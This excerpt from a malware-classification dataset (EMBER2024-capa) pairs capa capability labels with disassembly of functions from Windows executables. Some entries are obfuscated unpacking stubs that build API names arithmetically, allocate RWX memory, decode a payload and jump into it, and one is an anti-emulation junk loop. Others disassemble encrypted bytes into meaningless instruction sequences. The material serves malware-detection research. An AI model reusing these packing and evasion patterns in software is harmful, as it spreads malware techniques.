joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e1ca
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x1040
call fcn.0040f4a0
push ebx
push esi
mov esi, dword [esp + 0x1050]
xor ebx, ebx
cmp word [esi], bx
je 0x40e3f1
push esi
call fcn.00414935
pop ecx
cmp eax, 0x7f6
jae 0x40e3f1
push ebp
push edi
push 0x3c
pop edi
push edi
lea eax, [esp + 0x18]
push ebx
push eax
call fcn.00410470
movzx ecx, word [esi]
lea edx, [esi + 2]
add esp, 0xc
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], 0x1c0
push 0x22
pop ebp
cmp cx, bp
je 0x40e22a
mov edx, esi
mov dword [esp + 0x24], edx
mov eax, ebx
test cx, cx
je 0x40e273
push 0x20
mov ecx, esi
pop edi
cmp word [ecx], bp
jne 0x40e254
jmp 0x40e247
cmp word [esi + eax*2], bp
je 0x40e250
inc eax
cmp word [esi + eax*2], bx
jne 0x40e241
jmp 0x40e254
mov word [esi + eax*2], di
cmp word [esi + eax*2], di
je 0x40e3c8
cmp word [esi + eax*2 + 2], 0x2f
je 0x40e3c2
inc eax
lea ecx, [esi + eax*2]
cmp word [ecx], bx
jne 0x40e23a
mov eax, dword [esp + 0x28]
test eax, eax
je 0x40e280
cmp word [eax], bx
jne 0x40e29a
cmp byte [esp + 0x105c], bl
jne 0x40e29a
cmp word [0x4491fa], bx
je 0x40e29a
mov dword [esp + 0x28], 0x4491fa
push edx
mov dword [esp + 0x34], 1
call fcn.0040327a
mov esi, eax
test esi, esi
je 0x40e2c5
push str..inf
push esi
call fcn.00405633
test eax, eax
jne 0x40e2c5
mov dword [esp + 0x20], 0x4233bc
push dword [esp + 0x24]
call fcn.0040255b
test al, al
je 0x40e2ed
push 0x800
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x2c]
call fcn.00403003
lea eax, [esp + 0x50]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40e3ef
mov edi, dword [esp + 0x1054]
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x4481f0], bl
jne 0x40e326
cmp byte [esp + 0x105c], bl
jne 0x40e326
cmp byte [0x4548e2], bl
je 0x40e385
test edi, edi
je 0x40e33b
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x40e33b
push ebx
push edi
call ebp
mov bl, 1
push 0x7d0
push dword [esp + 0x50]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [esp + 0x4c]
call fcn.0040e64a
cmp byte [0x4548e2], 0
je 0x40e385
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x50]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x40e385
mov eax, dword [esp + 0x10]
add eax, 0x3e8
cmp eax, dword [0x4548e4]
jbe 0x40e385
mov dword [0x4548e4], eax
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40e3a2
push str..exe
push esi
call fcn.00405633
test eax, eax
je 0x40e3db
cmp byte [0x4481f0], 0
mov al, byte [esp + 0x105c]
je 0x40e3e2
test al, al
jne 0x40e3e2
mov dword [0x4548e8], 0x1b58
jmp 0x40e3e2
cmp word [esi + eax*2], di
jne 0x40e3ce
xor ecx, ecx
mov word [esi + eax*2], cx
inc eax
lea eax, [esi + eax*2]
mov dword [esp + 0x28], eax
jmp 0x40e277
mov al, byte [esp + 0x105c]
test bl, bl
je 0x40e3ef
test al, al
je 0x40e3ef
push 1
push edi
call ebp
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x1040
ret 0xc
Function at 0x40e3fc
Capabilities:
Hide graphical window

Disassembly:
and dword [0x4411b8], 0
push 1
push dword [esp + 8]
mov byte [0x4481c2], 1
mov byte [0x4481c3], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 2
push dword [esp + 0xc]
call fcn.0040136d
cmp dword [0x4481c4], 0
jne 0x40e43c
cmp byte [0x4481e8], 0
je 0x40e445
cmp dword [0x4481e0], 0
jne 0x40e458
push 0
push 1
push 0x111
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
ret 4

Function at 0x40e52b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0040f4a0
cmp byte [0x4481f8], 0
je 0x40e5b5
cmp word [0x4548f0], 0
je 0x40e5b5
push esi
lea eax, [ebp - 0x1008]
push eax
push 0x4548f0
call fcn.0040d22c
lea eax, [ebp - 8]
xor esi, esi
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40e5b4
push dword [ebp + 8]
call fcn.00414935
pop ecx
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1008]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40e5bb
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0040f4a0
push esi
push dword [ebp + 8]
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x1000
lea eax, [ebp - 0x2000]
push eax
push dword [ebp + 8]
call fcn.00404371
mov esi, eax
test esi, esi
je 0x40e613
movzx ecx, word [esi]
push ecx
jmp 0x40e5fe
add esi, 2
movzx eax, word [esi]
push eax
call fcn.00404468
test al, al
jne 0x40e5f7
push esi
push str.sfxpar
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x409944
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099f8
jmp 0x4099ed
cmp dword [esi + 0x10], 0x1000
jne 0x4099d9
test byte [esi + 0x15], 1
jne 0x4099d9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409998
cmp eax, 2
je 0x409998
cmp eax, 0x10
je 0x409998
cmp eax, 0x20
jne 0x4099ad
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4099ad
mov bl, 1
xor ebp, ebp
jmp 0x4099be
mov eax, dword [esi]
add eax, ebp
call fcn.0040993c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x4099b1
test bl, bl
je 0x4099d9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099f8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409970
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x409825
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x409834
pop dword [ebp - 0x2c]
mov eax, 0x2efb1376
add eax, 0xd14584be
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xe3ac43cc
add dword [ebp - 0x3c], 0x6aa6017f
mov dword [ebp - 0x38], 0x1348b064
add dword [ebp - 0x38], 0x1eea9be1
mov dword [ebp - 0x34], 0xa11f8602
sub dword [ebp - 0x34], 0x54d341d4
mov dword [ebp - 0x30], 0x369ce8b9
add dword [ebp - 0x30], 0xc9631747
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x7f4ba038
sub eax, 0x7f096fc4
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x908b0dd1
add dword [ebp - 0x3c], 0xe3e75b85
mov dword [ebp - 0x38], 0xac28b0b1
add dword [ebp - 0x38], 0x9543b0c4
mov dword [ebp - 0x34], 0x2ab77b10
sub dword [ebp - 0x34], 0xc7480ea4
mov dword [ebp - 0x30], 0x53cf9b07
add dword [ebp - 0x30], 0xac3064f9
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xa0558626
sub eax, 0xa0135502
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e499
push 0
call eax
mov ecx, 0xe2e735d8
sub ecx, 0xe2e6ebc8
xor esi, esi
add esi, eax
mov edi, 0xa359351d
sub edi, 0xa315f11d
add edi, dword [ebp - 0x2c]
mov ebx, 0x45becbc3
sub ebx, 0x1ea2f56
xor dword [ebp - 4], 0xf4bfd5a9
mov edx, dword [edi]
sub dword [ebp - 4], 0x32f6cb78
add edx, ebx
add dword [ebp - 0x18], ecx
mov dword [esi], edx
sub dword [ebp - 4], edi
add esi, 0x75dfd840
add esi, 0x8a2027c4
add edi, 4
loop 0x409958
add eax, 0xcf1d9795
add eax, 0x30e3837e
mov ebx, eax
add eax, 0x1249a4a4
add eax, 0xedb65b61
mov ecx, 0xcf2502f6
sub ecx, 0xcee502f6
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x6d506200
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x6d50625b
cmp byte [esi + ebx - 1], 0xa
je 0x6d50622f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x6d507118], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x44f146
Capabilities:
Encode data using xor

Disassembly:
pop eax
push ebx
xchg edx, eax
sub dword [eax + edx*4 - 0x59], ebx
jno 0x44f1b3
sbb esp, ebx
cdq
out dx, eax
xor dword [ebx], esi
add al, byte [ecx + ebp*2]
push ebp
push es
fsubr dword [esp + edx*8]
sub eax, edx
cmp dword [0x6726a8ff], esp
jle 0x44f16a
push ecx
push esp
retf
dec ebx
aas
and al, 0xae
pop esi
jne fcn.0044f146
call 0x9be29152
adc eax, 0x3f9af4b3
arpl word [esi - 0x6dca9caf], di
sar dword [0x9f8e037], cl
pop edi
mov esi, 0xf5b26155
cmp edx, dword [edx - 0x2a145f04]
sbb byte es:[ebx], bh
mov ch, 0x1e
stosb byte es:[edi], al
push ecx
push eax
sbb dword [0x3d35fd66], 0x17bd91bc
lodsb al, byte [esi]
pop es
jg 0x44f206
ja 0x44f229
scasb al, byte es:[edi]
mov dl, 0x92
invalid
mov ss, word [edi + 0x71e11d3b]
adc eax, 0xb79ddfb9
adc eax, 0x4755e13
stc
cmp al, 0x6f
jne 0x44f1d4
hlt
xchg esi, eax
inc edi
pop ebp
pop ds
dec ecx
test byte [edx], 0xe7
adc dword [edi], eax
sbb eax, 0xbabab80d
jmp 0xb718bb53
fcmovu st(0), st(5)
or ch, bh
pop edi
and al, 0x7e
lea eax, [esi + 0x1ca51a87]
les esi, [ecx - 0x58]
xor al, 0xb7
stosb byte es:[edi], al
retf
pop esi
push edi
xchg ebp, eax
adc eax, 0xd52415b4
xor cl, 0x18
sub dword [ebx], edi
adc ebx, dword [edi]
inc edx
adc byte [esi + 0x5f], dl
xor eax, 0x5119558e
dec ebx
sbb dword [ecx + 0x4b], edx
adc esp, dword [0xcb6f54ee]
sub ebp, dword [ebx + 0x5b]
dec esp
xor al, 0x48
lodsb al, byte [esi]
and byte [edx - 0x22], dl
pop edi
adc dword [edi], ebp
xchg esp, eax
inc edi
sbb byte [edi + 0x7d], bl
dec eax
add esi, esp
adc eax, 0x1361bb2e
les esp, [ebx + 0x5aa1703e]
outsd dx, dword [esi]
mov dl, 0xe9
sub eax, 0xb98f04af
mov eax, dword [0x8f4c3d23]
adc edi, dword [0x910f2f71]
fsub qword [ecx - 0x623a1e23]
cmp dword [edi], 0x2945ae99
sbb dword [0xdc41f472], ebx
popal
enter 0x162c, 0x73
mov ebp, 0x4dfdaa44
lodsd eax, dword [esi]
test eax, 0x9e768944
fmul st(1)
les ecx, [edi + 0x508c965f]
sub byte [edi], bl
in eax, dx
mov al, byte [0x40135431]
add byte [ebp - 0x18], bh
js 0x44f23f
movsd dword es:[edi], dword gs:[esi]
jo 0x44f2df
cmp ebp, ecx
int3
outsd dx, dword [esi]
push 0xd77d9499
Function at 0x465336
Capabilities:
Encode data using xor

Disassembly:
stosd dword es:[edi], eax
shr byte [esp + ecx*4 + 0x606ca87b], 1
test al, 0x6c
pushal
aad 8
cmp dword [esi - 0x3c2cbc30], 0xffffffc2
test al, 0x66
movsb byte es:[edi], byte [esi]
and byte [edi - 0x66d8984f], bl
mov bl, 0x9a
mov ebp, 0x9302c665
xchg ebx, eax
pushal
mov eax, 0xd1e0ed8f
push esp
imul ebx, dword [eax + 0x74569772], 0x2a
sub al, ah
mov ecx, 0x8574b0fb
sal dword [eax], 3
inc eax
sub ecx, eax
sar dword [ebx], cl
mov bl, 0x6c
or byte [edi + esi*4 - 0x3f7e5c51], bh
cmp bh, byte [eax + 0x6d507b60]
mov bh, 0xaf
mov dword [0xb83ac081], eax
pushal
jnp 0x4653b2
insd dword es:[edi], dx
xor byte [edx - 0xeb4a176], 0xf2
cmp edx, eax
and ecx, esp
fdiv st(0), st(0)
xchg ebx, eax
jo 0x465358
or eax, 0xd1836464
pushal
jnp 0x465352
sbb byte [esi], dl
pushal
fdiv st(5), st(0)
and dword [esi + 0x4bfcac6c], ebx
lodsd eax, dword [esi]
ror byte [eax + 0x281d80fe], cl
mov cl, 0xc0
xchg ebx, eax
sbb eax, 0x93c0b128
adc al, 0x92
jne 0x46531b
mov dl, 0xce
jmp 0xab6823e3
into
xor edx, ebx
cmp eax, 0x586a1bc7
sub byte [ebp - 0x7764896a], bl
inc ebx
lodsd eax, dword [esi]
call 0xc674156a
in al, 0x21
xchg esp, eax
loope 0x46538c
daa
test byte [ebx], ah
int1
mov dh, 0xd7
int 0x40
inc ecx
mov al, 0xa3
inc eax
cmpsb byte [esi], byte es:[edi]
jl 0x465407
mov al, 0x4f
push 0x94744267
pushfd
mov cs, ebx
mov dword [edi - 0x6b], ebx
mov edi, 0x1350cadf
repne insd dword es:[edi], dx
cmc
adc ch, ah
invalid
and byte [ebx + 0x42], cl
and ebx, dword [ebp - 0x59fc5f41]
not dword [ecx]
scasd eax, dword es:[edi]
sbb edi, edx
add dl, byte [esi + 0x28f4c98]
pop ebp
xchg byte [ecx], dl
or dh, byte [ecx + ebp*8 - 0x2d]
jl 0x46542d
xor eax, 0x1bd13e63
ficomp dword [0x5bc4c515]
je 0x46544c
les ebx, [ebx + 0x74]
sbb edi, dword [esi - 0x17]
jle 0x46541c
aad 0xd3
and eax, 0x41a1d6d3
rcl esi, cl
mov eax, dword [0xf787b641]
mov al, 0x3c
push esi
jl 0x4653c3
mov bh, pe_nt_image_headers32
invalid
popfd
int1
add esp, dword [ecx - 0x15]
leave
int1
and dl, bl
xor byte [edi + 0x61235ab9], 0x2e
shl ecx, cl
lea ecx, [ecx + 0x14121e76]
int3

Function at 0x467c66
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
lodsb al, byte [esi]
and al, 0xa5
add byte [ecx + 0x3c], bl
imul ebx, dword [esi], 0xffffff89
cmp dword [ebp - 0x5c], edi
dec ecx
dec ebx
inc bx
inc ebx
inc ebx
or al, 0x46
aad 0x71
imul esp, ecx, 0x21
xor al, 0x67
cmpsd dword es:[esi], dword es:[edi]
push ecx
pop edx
push esp
out dx, al
push edx
add dword [0xf87a16fc], esi
xor byte [eax], bh
sub dword [edi - 0x7fb52b87], 0x64
mov byte [eax + edx*8 + 0x49], 0x3e
xlatb
jns 0x467c57
dec edx
and byte [esi + eax*8 + 0x44], 0xd0
dec ecx
xlatb
add eax, 0xa4d8c239
push eax
mov ss, ecx
mov edi, dword [0x59a5305b]
aam 0xd6
mov eax, dword [0x6bef261]
sub ebp, ebx
push 0xffffffffffffffe6
xor eax, 0x52f68df7
mov cl, 0xc3
mov ch, byte [ecx]
push eax
mov al, 0x8c
mov ecx, 0x22085537
shl byte [ecx + 0x319d2981], cl
xor byte [0xb83bdaff], dh
mov al, 0x71
cmpsb byte [esi], byte es:[edi]
push edx
je 0x467c81
lodsb al, byte [esi]
das
push edi
cmp eax, dword [ebx - 0x67]
out 0xbe, eax
int3
Function at 0x4af553
Capabilities:
Encode data using xor

Disassembly:
in al, 0x60
mul dword [eax]
loopne 0x4af59f
cmc
not byte [ebx]
cmpsd dword [esi], dword es:[edi]
sub esp, dword [edi]
hlt
and al, 0xa7
nop
cwde
or esp, dword [eax]
sbb byte [edx - 0x50e246ae], dl
mov esi, 0xef16d77d
jo 0x4af526
pop ds
sub byte [ecx], bh
and eax, 0xf4107440
invalid
rcl edi, cl
and dl, byte [ebx + edx + 0x27e367f4]
xchg dword [esi + 0x703be076], eax
pushal
jo 0x4af601
cmp dl, byte [ebp - 0x4f39d704]
adc esp, dword [eax - 0x4cad59b4]
salc
loop 0x4af5da
pop es
and byte [edx], ch
pop es
fist dword [0x363fdc0c]
xchg ebx, eax
push esi
mov edx, 0xb3a20600
lea eax, [edi]
xor dword [ecx + 0x1f3ae9c0], esp
invalid
rcl dword [esi - 0x2c86f2f4], cl
inc ebx
jae 0x4af591
invalid
call 0x604dea72
xchg esp, eax
hlt
shr dword [eax + 0x3a], 0x38
jg 0x4af5c3
mov dh, 0x69
mov bl, 0xc8
test al, 0x96
fldenv [ebp + 0x22]
cmp dword [edi], edi
and byte [eax], 0x9d
inc ebp
movsb byte es:[edi], byte [esi]
mov bl, 0xda
loopne 0x4af5d0
int1
inc ecx
xchg dword [esi + 0x2c], ecx
int3

Function at 0x4b3593
Capabilities:
Encode data using xor

Disassembly:
mov ch, 0x63
sbb eax, 0x7636cc8d
inc eax
test al, 0xed
xor al, 0x15
fimul dword [esp + eax]
push ebp
in eax, dx
test eax, 0x93e87333
mov bh, dh
push edx
pop es
dec ecx
or byte [esi + 0x5c5adb61], 0xea
stosb byte es:[edi], al
sbb dword [eax - 2], edi
invalid
push dword [ebp + 0x17]
shr byte [ebx + 0x4fb8c6d3], 1
std
je 0x4b355e
call 0x1aac9bbc
retf

Function at 0x4bb36d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3338
cmp edx, dword [eax]
je 0x4bb38f
add eax, 8
inc ecx
cmp eax, 0x4c33c8
jl 0x4bb380
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3338]
jne 0x4bb4bd
mov eax, dword [0x4c7cc0]
cmp eax, 1
je 0x4bb497
test eax, eax
jne 0x4bb3c0
cmp dword [0x4c3264], 1
je 0x4bb497
cmp edx, 0xfc
je 0x4bb4bd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb3f7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bbd50
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc1e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb43a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc1e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c088c
push edi
call fcn.004be0b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bbd50
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bbd60
lea eax, [ebp - 0xa0]
push 0x4c086c
push eax
call fcn.004bbd60
push dword [esi + 0x4c333c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bbd60
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004be024
add esp, 0x2c
pop edi
jmp 0x4bb4bd
lea eax, [ebp + 8]
lea esi, [esi + 0x4c333c]
push 0
push eax
push dword [esi]
call fcn.004bc1e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40cb68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40cb77
pop dword [ebp - 0x4c]
mov eax, 0x40cb77
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xa8fa0077
sub dword [ebp - 0x5c], 0x5aa7bb2c
mov dword [ebp - 0x58], 0x498bd346
add dword [ebp - 0x58], 0xe8a778ff
mov dword [ebp - 0x54], 0x3b06568f
add dword [ebp - 0x54], 0x1145ed9f
mov dword [ebp - 0x50], 0x28270632
add dword [ebp - 0x50], 0xd7d8f9ce
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x6f8f95bc
sub eax, 0x6f4eb578
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x74b6029a
add dword [ebp - 0x5c], 0xffbc66bc
mov dword [ebp - 0x58], 0x86b07eea
add dword [ebp - 0x58], 0xbabbe28b
mov dword [ebp - 0x54], 0x11a5e92
sub dword [ebp - 0x54], 0x9daaf226
mov dword [ebp - 0x50], 0xe96bd06d
sub dword [ebp - 0x50], 0xe96bd06d
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x37d54
push 0
call eax
mov ecx, 0xf2823870
add ecx, 0xd7e112d
xor ebx, ebx
add ebx, eax
mov esi, 0x41a400
add esi, dword [ebp - 0x4c]
mov edi, 0xce12ae8c
add edi, 0xb4344f38
mov edx, dword [esi]
xor dword [ebp - 0x18], 0x904eee76
add edx, edi
xor dword [ebp - 0x48], 0x70f59aa
mov dword [ebx], edx
xor dword [ebp - 0x44], ecx
add ebx, 0x5b66f651
sub ebx, 0x5b66f64d
add esi, 0xcb95db6a
sub esi, 0xcb95db66
loop 0x40cc8b
add eax, 0xd4e41e8
sub eax, 0xd4d28a1
xor ebx, ebx
add ebx, eax
add eax, 0x933c4dcf
sub eax, 0x933c4dca
mov ecx, 0x4d6f91c0
sub ecx, 0x4d2f91c0
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x401100
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c7004]
jne 0x40110a
repz ret
jmp fcn.004014dc

Function at 0x408cfc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c7004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404a5e
and dword [ebp - 0x14], 0
cmp dword [0x4c9c74], 0
mov dword [ebp - 0x18], eax
jne 0x408daf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x408e57
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x408e57
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4c9c74], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4c9c78], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4c9c7c], eax
call edi
push eax
call esi
mov dword [0x4c9c84], eax
test eax, eax
je 0x408daf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4c9c80], eax
mov eax, dword [0x4c9c80]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x408e08
cmp dword [0x4c9c84], ecx
je 0x408e08
push eax
call esi
push dword [0x4c9c84]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x408e08
test ebx, ebx
je 0x408e08
call edi
test eax, eax
je 0x408dff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x408dff
test byte [ebp - 8], 1
jne 0x408e08
or dword [ebp + 0x10], 0x200000
jmp 0x408e3b
mov eax, dword [0x4c9c78]
cmp eax, dword [ebp - 0x18]
je 0x408e3b
push eax
call esi
test eax, eax
je 0x408e3b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x408e3b
mov eax, dword [0x4c9c7c]
cmp eax, dword [ebp - 0x18]
je 0x408e3b
push eax
call esi
test eax, eax
je 0x408e3b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4c9c74]
call esi
test eax, eax
je 0x408e57
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x408e59
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401100
leave
ret
Function at 0x4bba10
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x4c7004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x4c7db0]
push ebx
mov ebx, dword [0x2c6d234]
push edi
mov edi, dword [0x2c6f6b4]
call fcn.004bb980
cmp dword [0x2c6f6b4], 0x2f
jne 0x4bba7d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.004bb9b0
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401100
add esp, 0x24
ret
Function at 0x4bbd70
Capabilities:
Get disk information
Manipulate console buffer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x4c7004]
xor eax, ebp
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
jmp 0x4bbd95
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1519a5
jge 0x4bbdde
mov dword [0x2c6f31c], 0x8e46a6f0
cmp dword [0x2c6f6b4], 0x3dc
jne 0x4bbddc
xor ecx, ecx
mov word [ebp - 8], cx
xor edx, edx
mov word [ebp - 6], dx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x4bbd8c
mov dword [ebp - 0x10], 0
jmp 0x4bbdf0
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x12cad2a
jge 0x4bbe8b
cmp dword [0x2c6f6b4], 0xa5f
jne 0x4bbe42
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x820]
push ecx
push str.xonatoyuhejigoriramadiguyo
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp dword [ebp - 0x10], 0x84620b
jne 0x4bbe66
mov edx, dword [0x4c8bd0]
mov dword [0x2c6f6b4], edx
mov eax, dword [0x2c6f6b4]
add eax, 0xa231
mov dword [0x2c6f6b4], eax
cmp dword [0x2c6f6b4], 0x141
jne 0x4bbe86
mov dword [0x4ca1a0], 0xec58acac
mov dword [0x4ca1a4], 0xffffffff
jmp 0x4bbde7
call fcn.004bbaa0
jmp dword [0x2c6d234]